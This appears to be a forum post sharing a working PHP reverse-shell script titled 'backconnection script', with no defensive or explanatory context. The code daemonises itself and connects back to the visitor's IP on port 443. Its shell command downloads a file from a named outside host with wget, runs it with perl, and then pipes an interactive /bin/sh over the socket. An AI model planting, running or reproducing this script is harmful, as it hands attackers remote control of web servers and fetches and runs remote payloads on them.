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PHP backconnection script

Code:
<?php 
set_time_limit (0);
$VERSION = "1.0";
$ip = getenv ('REMOTE_ADDR');  // 
$port = 443;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'cd /dev/shm; wget cgi.kpplace.com/5.txt; perl 5.txt; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
   // Fork and have the parent process exit
   $pid = pcntl_fork();
   
   if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
   }
   
   if ($pid) {
      exit(0);  // Parent exits
   }

   // Make the current process a session leader
   // Will only succeed if we forked
   if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
   }

   $daemon = 1;
} else {
   printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
   printit("$errstr ($errno)");
   exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
   printit("ERROR: Can't spawn shell");
   exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
   // Check for end of TCP connection
   if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
   }

   // Check for end of STDOUT
   if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
   }

   // Wait until a command is end down $sock, or some
   // command output is available on STDOUT or STDERR
   $read_a = array($sock, $pipes[1], $pipes[2]);
   $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

   // If we can read from the TCP socket, send
   // data to process's STDIN
   if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
   }

   // If we can read from the process's STDOUT
   // send data down tcp connection
   if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
   }

   // If we can read from the process's STDERR
   // send data down tcp connection
   if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
   }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
   if (!$daemon) {
      print "$string\n";
   }
}

?>

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